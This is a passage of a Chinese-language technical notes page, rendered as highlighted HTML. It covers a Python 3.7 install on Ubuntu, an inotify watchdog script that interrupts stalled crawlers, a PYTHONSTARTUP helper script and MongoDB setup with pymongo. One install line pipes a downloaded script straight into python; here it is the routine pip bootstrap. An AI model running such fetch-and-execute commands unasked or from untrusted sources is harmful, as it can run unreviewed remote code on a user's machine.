</span><span class=\"n\">apt</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">y</span><span class=\"w\"> </span><span class=\"n\">python3</span><span class=\"o\">.</span><span class=\"mi\">7</span><span class=\"o\">-</span><span class=\"n\">dev</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span>\\\n<span class=\"w\">    </span><span class=\"n\">update</span><span class=\"o\">-</span><span class=\"n\">alternatives</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">usr</span><span class=\"o\">/</span><span class=\"n\">bin</span><span class=\"o\">/</span><span class=\"n\">python</span><span class=\"w\"> </span><span class=\"n\">python</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">usr</span><span class=\"o\">/</span><span class=\"n\">bin</span><span class=\"o\">/</span><span class=\"n\">python3</span><span class=\"o\">.</span><span class=\"mi\">7</span><span class=\"w\"> </span><span class=\"mi\">50</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span>\\\n<span class=\"w\">    </span><span class=\"n\">curl</span><span class=\"w\"> </span><span class=\"n\">https</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">bootstrap</span><span class=\"o\">.</span><span class=\"n\">pypa</span><span class=\"o\">.</span><span class=\"n\">io</span><span class=\"o\">/</span><span class=\"n\">get</span><span class=\"o\">-</span><span class=\"n\">pip</span><span class=\"o\">.</span><span class=\"n\">py</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"n\">python</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span>\\\n<span class=\"w\">    </span><span class=\"n\">pip</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">U</span><span class=\"w\"> </span><span class=\"n\">setuptools</span>\n</code></pre></div>\n\n<p>但是在ubuntu 14.04上从这个ppa源安装的python没有_ssl的库，无法使用pip很迷（解决方案就是开了一个docker ubuntu16.04的容器继续）</p>\n<hr />\n<h2 id=\"keyboardinterrupt\">判断代码是否卡住，自动发送KeyboardInterrupt<a class=\"headerlink\" href=\"#keyboardinterrupt\" title=\"Permanent link\">&para;</a></h2>\n<p>场景： 跑爬虫等依赖网络的代码，遇到网络不佳的时候一直卡住不再执行，增加timeout设置确实是一种方法，有没有不用改代码的方式呢？</p>\n<p>依赖： <code>apt install inotify-tools</code></p>\n<p>watch.sh:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/bin/bash</span>\n<span class=\"k\">while</span><span class=\"w\"> </span>true<span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">do</span>\n<span class=\"w\">    </span>inotifywait<span class=\"w\"> </span>-e<span class=\"w\"> </span>modify<span class=\"w\"> </span>-t<span class=\"w\"> </span><span class=\"m\">100</span><span class=\"w\"> </span><span class=\"nv\">$1</span>\n<span class=\"w\">    </span><span class=\"nv\">res</span><span class=\"o\">=</span><span class=\"nv\">$?</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"nv\">$res</span><span class=\"s2\">&quot;</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s2\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"o\">]</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">then</span>\n<span class=\"w\">        </span><span class=\"nb\">echo</span><span class=\"w\"> </span><span class=\"s2\">&quot;[`date`] Time Out!&quot;</span>\n<span class=\"w\">        </span><span class=\"nv\">$2</span><span class=\"w\"> </span><span class=\"o\">||</span><span class=\"w\"> </span><span class=\"nb\">break</span>\n<span class=\"w\">    </span><span class=\"k\">fi</span>\n<span class=\"w\">    </span>sleep<span class=\"w\"> </span><span class=\"m\">60</span>\n<span class=\"k\">done</span>\n</code></pre></div>\n\n<p>用法：</p>\n<div class=\"codehilite\"><pre><span></span><code>python -u run.py &gt;&amp; log.txt &amp;\nps #查看python进程的id, 假设为12345\n./watch.sh log.txt &quot;kill -SIGINT 12345&quot;\n</code></pre></div>\n\n<p>解释：python指定输出流不缓存，保证最新的print也能实时写入文件中</p>\n<p>然后使用inotifywait这个工具观察文件<code>$1</code>在100秒内有没有发生修改</p>\n<p>如果没有修改就执行用户提供的参数<code>$2</code>，这里是使用kill发送SIGINT信号</p>\n<p>在Linux里，用户按Ctrl+C就是BASH给当前前台的进程发送这个信号</p>\n<p>如果进程已经结束，那么kill会报错找不到进程，这时候我们就可以break跳出循环了</p>\n<p>如果发生了修改就歇一分钟后继续观察</p>\n<p>这个场景下允许延迟没必要一直观察，只要卡住的时候能发现即可（最迟160秒）</p>\n<p>当然爬虫代码需要处理异常，失败的时候继续下一次爬取或者重试即可</p>\n<hr />\n<h2 id=\"pythonstartup-pythonimport\">设置PYTHONSTARTUP环境变量 启动Python自动执行一些import<a class=\"headerlink\" href=\"#pythonstartup-pythonimport\" title=\"Permanent link\">&para;</a></h2>\n<p>经常启动Python当计算器用，但有些时候也需要执行quote之类的函数，每次都要手动import就很烦</p>\n<p>所以可以配置一个环境变量来让启动Python时自动执行这些import操作</p>\n<div class=\"admonition note\">\n<p class=\"admonition-title\">Note</p>\n<p>注意这个不会改变Python执行.py文件的行为，只在Python Interpreter中生效</p>\n</div>\n<p>Windows在cmd里可以用setx设置环境变量，或者你也可以编辑注册表 <code>HKEY_CURRENT_USER\\Environment</code></p>\n<p>参考： http://www.dowdandassociates.com/blog/content/howto-set-an-environment-variable-in-windows-command-line-and-registry/</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">setx</span><span class=\"w\"> </span><span class=\"n\">PYTHONSTARTUP</span><span class=\"w\"> </span><span class=\"n\">d</span><span class=\"p\">:</span>\\<span class=\"n\">myshell</span>\\<span class=\"n\">pyload</span><span class=\"o\">.</span><span class=\"n\">py</span>\n</code></pre></div>\n\n<p>这个脚本需要快速加载，避免启动Python太慢，所以使用lazyload来把真正的import留到使用时：</p>\n<p>依赖： PYTHONUTF8=1使得windows的python读写文件默认也使用UTF8</p>\n<div class=\"codehilite\"><pre><span></span><code>set PYTHONUTF8=1\npip install lazy_import\n</code></pre></div>\n\n<p>先简要概括一下这个脚本提供了些啥：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"err\">标准库：</span><span class=\"n\">time</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">sys</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">os</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">json</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">pickle</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">csv</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">requests</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">np</span><span class=\"p\">(</span><span class=\"n\">numpy</span><span class=\"p\">),</span><span class=\"w\"> </span><span class=\"n\">plt</span><span class=\"p\">(</span><span class=\"n\">matplotlib</span><span class=\"o\">.</span><span class=\"n\">pyplot</span><span class=\"p\">)</span>\n<span class=\"err\">对象：</span><span class=\"n\">a是EasyLogin</span><span class=\"p\">(),</span><span class=\"w\"> </span><span class=\"n\">sess是requests</span><span class=\"o\">.</span><span class=\"n\">session</span><span class=\"p\">()</span>\n<span class=\"err\">函数：</span><span class=\"w\"> </span>\n<span class=\"w\">    </span><span class=\"n\">pload</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">default</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"err\">载入一个</span><span class=\"n\">pickle文件</span>\n<span class=\"w\">    </span><span class=\"n\">pdump</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">data</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"err\">将</span><span class=\"n\">data写入pickle文件</span>\n<span class=\"w\">    </span><span class=\"n\">jload</span><span class=\"w\"> </span><span class=\"err\">用</span><span class=\"n\">json读取文件</span>\n<span class=\"w\">    </span><span class=\"n\">jload</span><span class=\"w\"> </span><span class=\"err\">用</span><span class=\"n\">json写入文件</span>\n<span class=\"w\">    </span><span class=\"n\">bd</span><span class=\"p\">(</span><span class=\"n\">b64_string</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"err\">解码</span><span class=\"n\">base64字符串</span><span class=\"err\">，返回</span><span class=\"nb\">str</span><span class=\"err\">，自动补齐等号，不会</span><span class=\"n\">Invalid</span><span class=\"w\"> </span><span class=\"n\">base64</span><span class=\"o\">-</span><span class=\"n\">encoded</span><span class=\"w\"> </span><span class=\"n\">string</span>\n<span class=\"w\">    </span><span class=\"n\">hd</span><span class=\"p\">(</span><span class=\"n\">b16_string</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">hex</span><span class=\"w\"> </span><span class=\"n\">decode</span><span class=\"w\"> </span><span class=\"err\">将</span><span class=\"n\">hex字符串转为bytes</span>\n<span class=\"w\">    </span><span class=\"n\">myprint</span><span class=\"w\"> </span><span class=\"err\">显示当前时间的</span><span class=\"nb\">print</span>\n<span class=\"w\">    </span><span class=\"n\">md5</span><span class=\"w\"> </span><span class=\"err\">计算给定字符串的</span><span class=\"n\">md5的32字节hex字符串</span>\n<span class=\"w\">    </span><span class=\"n\">t</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"nb nb-Type\">int</span><span class=\"p\">(</span><span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">time</span><span class=\"p\">())</span>\n<span class=\"w\">    </span><span class=\"n\">d</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"err\">等价于</span><span class=\"n\">date</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">d</span><span class=\"err\">@</span><span class=\"n\">xxx</span><span class=\"err\">，将</span><span class=\"n\">timestamp转为人类可读的格式</span><span class=\"err\">，也支持毫秒的输入</span>\n<span class=\"err\">简写：</span>\n<span class=\"w\">    </span><span class=\"n\">jl</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">json</span><span class=\"o\">.</span><span class=\"n\">loads</span>\n<span class=\"w\">    </span><span class=\"n\">pp</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">pprint</span><span class=\"o\">.</span><span class=\"n\">pprint</span>\n<span class=\"w\">    </span><span class=\"n\">sleep</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">sleep</span>\n<span class=\"w\">    </span><span class=\"n\">leval</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">ast</span><span class=\"o\">.</span><span class=\"n\">literal_eval</span>\n</code></pre></div>\n\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">_locale</span>\n<span class=\"n\">_locale</span><span class=\"o\">.</span><span class=\"n\">_getdefaultlocale</span> <span class=\"o\">=</span> <span class=\"p\">(</span><span class=\"k\">lambda</span> <span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">:</span> <span class=\"p\">[</span><span class=\"s1\">&#39;en_US&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;utf8&#39;</span><span class=\"p\">])</span>\n<span class=\"kn\">import</span> <span class=\"nn\">time</span>\n<span class=\"kn\">from</span> <span class=\"nn\">time</span> <span class=\"kn\">import</span> <span class=\"n\">sleep</span>\n<span class=\"kn\">import</span> <span class=\"nn\">sys</span>\n<span class=\"kn\">import</span> <span class=\"nn\">json</span>\n<span class=\"kn\">import</span> <span class=\"nn\">pickle</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">pload</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span> <span class=\"n\">default</span><span class=\"o\">=</span><span class=\"kc\">None</span><span class=\"p\">,</span> <span class=\"n\">lib</span><span class=\"o\">=</span><span class=\"n\">pickle</span><span class=\"p\">):</span>\n    <span class=\"k\">try</span><span class=\"p\">:</span>\n        <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"n\">lib</span><span class=\"o\">.</span><span class=\"n\">load</span><span class=\"p\">(</span><span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span> <span class=\"s2\">&quot;rb&quot;</span><span class=\"p\">))</span>\n    <span class=\"k\">except</span><span class=\"p\">:</span>\n        <span class=\"k\">if</span> <span class=\"n\">default</span> <span class=\"ow\">is</span> <span class=\"kc\">None</span><span class=\"p\">:</span>\n            <span class=\"k\">raise</span>\n        <span class=\"k\">return</span> <span class=\"n\">default</span>\n    <span class=\"k\">return</span> <span class=\"n\">res</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">pdump</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span> <span class=\"n\">data</span><span class=\"p\">,</span> <span class=\"n\">lib</span><span class=\"o\">=</span><span class=\"n\">pickle</span><span class=\"p\">):</span>\n    <span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span> <span class=\"s2\">&quot;w&quot;</span><span class=\"o\">+</span><span class=\"p\">(</span><span class=\"s2\">&quot;b&quot;</span> <span class=\"k\">if</span> <span class=\"n\">lib</span><span class=\"o\">==</span><span class=\"n\">pickle</span> <span class=\"k\">else</span> <span class=\"s2\">&quot;&quot;</span><span class=\"p\">))</span><span class=\"o\">.</span><span class=\"n\">write</span><span class=\"p\">(</span><span class=\"n\">lib</span><span class=\"o\">.</span><span class=\"n\">dumps</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">))</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">jload</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span> <span class=\"n\">default</span><span class=\"o\">=</span><span class=\"kc\">None</span><span class=\"p\">):</span>\n    <span class=\"k\">return</span> <span class=\"n\">pload</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span> <span class=\"n\">default</span><span class=\"o\">=</span><span class=\"n\">default</span><span class=\"p\">,</span> <span class=\"n\">lib</span><span class=\"o\">=</span><span class=\"n\">json</span><span class=\"p\">)</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">jdump</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span> <span class=\"n\">data</span><span class=\"p\">):</span>\n    <span class=\"k\">return</span> <span class=\"n\">pdump</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span> <span class=\"n\">data</span><span class=\"p\">,</span> <span class=\"n\">lib</span><span class=\"o\">=</span><span class=\"n\">json</span><span class=\"p\">)</span>\n\n<span class=\"kn\">import</span> <span class=\"nn\">os</span>\n<span class=\"kn\">import</span> <span class=\"nn\">csv</span>\n\n<span class=\"kn\">from</span> <span class=\"nn\">urllib.parse</span> <span class=\"kn\">import</span> <span class=\"n\">quote</span><span class=\"p\">,</span> <span class=\"n\">unquote</span>\n<span class=\"kn\">from</span> <span class=\"nn\">base64</span> <span class=\"kn\">import</span> <span class=\"n\">b64encode</span><span class=\"p\">,</span> <span class=\"n\">b64decode</span><span class=\"p\">,</span> <span class=\"n\">b16encode</span><span class=\"p\">,</span> <span class=\"n\">b16decode</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">bd</span><span class=\"p\">(</span><span class=\"n\">b64_string</span><span class=\"p\">):</span>\n    <span class=\"n\">b64_string</span> <span class=\"o\">+=</span> <span class=\"s2\">&quot;=&quot;</span> <span class=\"o\">*</span> <span class=\"p\">((</span><span class=\"mi\">4</span> <span class=\"o\">-</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">b64_string</span><span class=\"p\">)</span> <span class=\"o\">%</span> <span class=\"mi\">4</span><span class=\"p\">)</span> <span class=\"o\">%</span> <span class=\"mi\">4</span><span class=\"p\">)</span>\n    <span class=\"k\">return</span> <span class=\"n\">b64decode</span><span class=\"p\">(</span><span class=\"n\">b64_string</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">()</span>\n\n<span class=\"n\">jl</span><span class=\"o\">=</span><span class=\"n\">json</span><span class=\"o\">.</span><span class=\"n\">loads</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">hd</span><span class=\"p\">(</span><span class=\"n\">b16_string</span><span class=\"p\">):</span>\n    <span class=\"k\">return</span> <span class=\"n\">b16decode</span><span class=\"p\">(</span><span class=\"n\">b16_string</span><span class=\"o\">.</span><span class=\"n\">upper</span><span class=\"p\">())</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">myprint</span><span class=\"p\">(</span><span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">,</span> <span class=\"o\">**</span><span class=\"n\">kwargs</span><span class=\"p\">):</span>\n    <span class=\"n\">args</span> <span class=\"o\">=</span> <span class=\"nb\">list</span><span class=\"p\">(</span><span class=\"n\">args</span><span class=\"p\">)</span>\n    <span class=\"n\">args</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;[&quot;</span><span class=\"o\">+</span><span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">strftime</span><span class=\"p\">(</span><span class=\"s2\">&quot;%Y-%m-</span><span class=\"si\">%d</span><span class=\"s2\"> %H:%M:%S&quot;</span><span class=\"p\">)</span><span class=\"o\">+</span><span class=\"s2\">&quot;] &quot;</span><span class=\"o\">+</span><span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">args</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">])</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">,</span> <span class=\"o\">**</span><span class=\"n\">kwargs</span><span class=\"p\">)</span>\n\n<span class=\"kn\">import</span> <span class=\"nn\">lazy_import</span>\n<span class=\"n\">requests</span> <span class=\"o\">=</span> <span class=\"n\">lazy_import</span><span class=\"o\">.</span><span class=\"n\">lazy_module</span><span class=\"p\">(</span><span class=\"s2\">&quot;requests&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">numpy</span> <span class=\"o\">=</span> <span class=\"n\">np</span> <span class=\"o\">=</span> <span class=\"n\">lazy_import</span><span class=\"o\">.</span><span class=\"n\">lazy_module</span><span class=\"p\">(</span><span class=\"s2\">&quot;numpy&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">plt</span> <span class=\"o\">=</span> <span class=\"n\">lazy_import</span><span class=\"o\">.</span><span class=\"n\">lazy_module</span><span class=\"p\">(</span><span class=\"s2\">&quot;matplotlib.pyplot&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">el</span> <span class=\"o\">=</span> <span class=\"n\">EasyLogin</span> <span class=\"o\">=</span> <span class=\"n\">lazy_import</span><span class=\"o\">.</span><span class=\"n\">lazy_class</span><span class=\"p\">(</span><span class=\"s2\">&quot;EasyLogin.EasyLogin&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">pp</span> <span class=\"o\">=</span> <span class=\"n\">pprint</span> <span class=\"o\">=</span> <span class=\"n\">lazy_import</span><span class=\"o\">.</span><span class=\"n\">lazy_function</span><span class=\"p\">(</span><span class=\"s2\">&quot;pprint.pprint&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">leval</span> <span class=\"o\">=</span> <span class=\"n\">lazy_import</span><span class=\"o\">.</span><span class=\"n\">lazy_function</span><span class=\"p\">(</span><span class=\"s2\">&quot;ast.literal_eval&quot;</span><span class=\"p\">)</span>\n\n<span class=\"kn\">import</span> <span class=\"nn\">hashlib</span>\n<span class=\"k\">def</span> <span class=\"nf\">_load_hashlib</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"p\">):</span>\n    <span class=\"k\">def</span> <span class=\"nf\">f</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">):</span>\n        <span class=\"k\">if</span> <span class=\"nb\">isinstance</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">,</span> <span class=\"nb\">str</span><span class=\"p\">):</span>\n            <span class=\"n\">s</span> <span class=\"o\">=</span> <span class=\"nb\">bytes</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">,</span> <span class=\"s2\">&quot;utf-8&quot;</span><span class=\"p\">)</span>\n        <span class=\"k\">return</span> <span class=\"nb\">getattr</span><span class=\"p\">(</span><span class=\"n\">hashlib</span><span class=\"p\">,</span> <span class=\"n\">name</span><span class=\"p\">)(</span><span class=\"n\">s</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">hexdigest</span><span class=\"p\">()</span>\n    <span class=\"k\">return</span> <span class=\"n\">f</span>\n<span class=\"n\">md5</span> <span class=\"o\">=</span> <span class=\"n\">_load_hashlib</span><span class=\"p\">(</span><span class=\"s2\">&quot;md5&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">sha1</span> <span class=\"o\">=</span> <span class=\"n\">_load_hashlib</span><span class=\"p\">(</span><span class=\"s2\">&quot;sha1&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">sha512</span> <span class=\"o\">=</span> <span class=\"n\">_load_hashlib</span><span class=\"p\">(</span><span class=\"s2\">&quot;sha512&quot;</span><span class=\"p\">)</span>\n\n<span class=\"k\">class</span> <span class=\"nc\">_A</span><span class=\"p\">():</span>\n    <span class=\"k\">def</span> <span class=\"fm\">__getattr__</span><span class=\"p\">(</span><span class=\"bp\">self</span><span class=\"p\">,</span> <span class=\"n\">name</span><span class=\"p\">):</span>\n        <span class=\"k\">global</span> <span class=\"n\">a</span>\n        <span class=\"n\">a</span><span class=\"o\">=</span><span class=\"n\">el</span><span class=\"p\">()</span>\n        <span class=\"k\">return</span> <span class=\"nb\">getattr</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span> <span class=\"n\">name</span><span class=\"p\">)</span>\n<span class=\"n\">a</span><span class=\"o\">=</span><span class=\"n\">_A</span><span class=\"p\">()</span>\n\n<span class=\"k\">class</span> <span class=\"nc\">_sess</span><span class=\"p\">():</span>\n    <span class=\"k\">def</span> <span class=\"fm\">__getattr__</span><span class=\"p\">(</span><span class=\"bp\">self</span><span class=\"p\">,</span> <span class=\"n\">name</span><span class=\"p\">):</span>\n        <span class=\"k\">global</span> <span class=\"n\">sess</span>\n        <span class=\"n\">sess</span><span class=\"o\">=</span><span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">session</span><span class=\"p\">()</span>\n        <span class=\"k\">return</span> <span class=\"nb\">getattr</span><span class=\"p\">(</span><span class=\"n\">sess</span><span class=\"p\">,</span> <span class=\"n\">name</span><span class=\"p\">)</span>\n<span class=\"n\">sess</span><span class=\"o\">=</span><span class=\"n\">_sess</span><span class=\"p\">()</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">t</span><span class=\"p\">():</span>\n    <span class=\"k\">return</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">time</span><span class=\"p\">())</span>\n\n<span class=\"kn\">from</span> <span class=\"nn\">datetime</span> <span class=\"kn\">import</span> <span class=\"n\">datetime</span><span class=\"p\">,</span> <span class=\"n\">timedelta</span>\n<span class=\"k\">def</span> <span class=\"nf\">d</span><span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"p\">):</span>\n    <span class=\"n\">ts</span> <span class=\"o\">=</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"p\">)</span>\n    <span class=\"k\">if</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"p\">))</span><span class=\"o\">==</span><span class=\"mi\">13</span><span class=\"p\">:</span>\n        <span class=\"n\">ts</span> <span class=\"o\">=</span> <span class=\"n\">ts</span><span class=\"o\">//</span><span class=\"mi\">1000</span>\n    <span class=\"k\">return</span> <span class=\"n\">datetime</span><span class=\"o\">.</span><span class=\"n\">fromtimestamp</span><span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">strftime</span><span class=\"p\">(</span><span class=\"s2\">&quot;%Y-%m-</span><span class=\"si\">%d</span><span class=\"s2\"> %H:%M:%S&quot;</span><span class=\"p\">)</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">dutc</span><span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"p\">):</span>\n    <span class=\"k\">return</span> <span class=\"n\">datetime</span><span class=\"o\">.</span><span class=\"n\">utcfromtimestamp</span><span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">strftime</span><span class=\"p\">(</span><span class=\"s2\">&quot;%Y-%m-</span><span class=\"si\">%d</span><span class=\"s2\"> %H:%M:%S&quot;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"pythonmongodb\">Python使用MongoDB<a class=\"headerlink\" href=\"#pythonmongodb\" title=\"Permanent link\">&para;</a></h2>\n<p>爬取数据ajax接口返回的是json数据，懒得转换成mysql的表示，直接丢给mongo呗</p>\n<p>可视化客户端使用官方的<a href=\"https://www.mongodb.com/try/download/compass\">Compass</a></p>\n<h3 id=\"server\">安装server<a class=\"headerlink\" href=\"#server\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>docker run -d --name mongo -e MONGO_INITDB_ROOT_USERNAME=adminusername -e MONGO_INITDB_ROOT_PASSWORD=password -v /srv/mongo:/data/db -p 27017:27017 mongo\n</code></pre></div>\n\n<p>安装后的连接字符串是：<code>mongodb://adminusername:password@ip:27017</code></p>\n<h3 id=\"_15\">增删查改<a class=\"headerlink\" href=\"#_15\" title=\"Permanent link\">&para;</a></h3>\n<h4 id=\"_16\">查询<a class=\"headerlink\" href=\"#_16\" title=\"Permanent link\">&para;</a></h4>\n<p>嵌套的格式用.表示 例如<code>{\"a.b\": \"1\"}</code>可以查到文档<code>{a:{b:\"1\"}}</code></p>\n<p>Python代码：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">pymongo</span>\n<span class=\"n\">client</span> <span class=\"o\">=</span> <span class=\"n\">pymongo</span><span class=\"o\">.</span><span class=\"n\">MongoClient</span><span class=\"p\">(</span><span class=\"s2\">&quot;mongodb://adminusername:password@127.0.0.1:27017&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">table</span> <span class=\"o\">=</span> <span class=\"n\">client</span><span class=\"o\">.</span><span class=\"n\">database_name</span><span class=\"o\">.</span><span class=\"n\">table_name</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">table</span><span class=\"o\">.</span><span class=\"n\">find_one</span><span class=\"p\">({</span><span class=\"s2\">&quot;_id&quot;</span><span class=\"p\">:</span> <span class=\"nb\">id</span><span class=\"p\">}))</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">table</span><span class=\"o\">.</span><span class=\"n\">count_documents</span><span class=\"p\">({}))</span>\n</code></pre></div>\n\n<h4 id=\"_17\">批量增加<a class=\"headerlink\" href=\"#_17\" title=\"Permanent link\">&para;</a></h4>\n<p>insert ignore into 忽略已经存在的：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">try</span><span class=\"o\">:</span>\n<span class=\"w\">    </span><span class=\"n\">table</span><span class=\"o\">.</span><span class=\"na\">insert_many</span><span class=\"o\">(</span><span class=\"n\">data</span><span class=\"o\">,</span><span class=\"w\"> </span><span class=\"n\">ordered</span><span class=\"o\">=</span><span class=\"n\">False</span><span class=\"o\">)</span>\n<span class=\"n\">except</span><span class=\"w\"> </span><span class=\"n\">pymongo</span><span class=\"o\">.</span><span class=\"na\">errors</span><span class=\"o\">.</span><span class=\"na\">BulkWriteError</span><span class=\"o\">:</span>\n<span class=\"w\">    </span><span class=\"n\">pass</span>\n</code></pre></div>\n\n<p>replace into 覆盖已经存在的：使用upcert不存在时插入</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"nv\">item</span><span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span><span class=\"nv\">data</span>:\n<span class=\"w\">    </span>#<span class=\"w\"> </span>你很可能需要自己定义<span class=\"nv\">_id</span>\n<span class=\"w\">    </span>#<span class=\"w\"> </span><span class=\"nv\">item</span>[<span class=\"s2\">&quot;_id&quot;</span>]<span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s2\">&quot;_&quot;</span>.<span class=\"nv\">join</span><span class=\"ss\">(</span>[...]<span class=\"ss\">)</span>\n<span class=\"w\">    </span>#<span class=\"w\"> </span><span class=\"nv\">pprint</span><span class=\"ss\">(</span><span class=\"nv\">item</span><span class=\"ss\">)</span>\n<span class=\"w\">    </span><span class=\"nv\">table</span>.<span class=\"nv\">update</span><span class=\"ss\">(</span>{<span class=\"s1\">&#39;_id&#39;</span>:<span class=\"nv\">item</span>[<span class=\"s2\">&quot;_id&quot;</span>]},<span class=\"w\"> </span><span class=\"nv\">item</span>,<span class=\"w\"> </span><span class=\"nv\">True</span><span class=\"ss\">)</span>\n</code></pre></div>\n\n<h4 id=\"_18\">删除<a class=\"headerlink\" href=\"#_18\" title=\"Permanent link\">&para;</a></h4>\n<p>类似的有函数：delete_one, delete_many</p>\n<h3 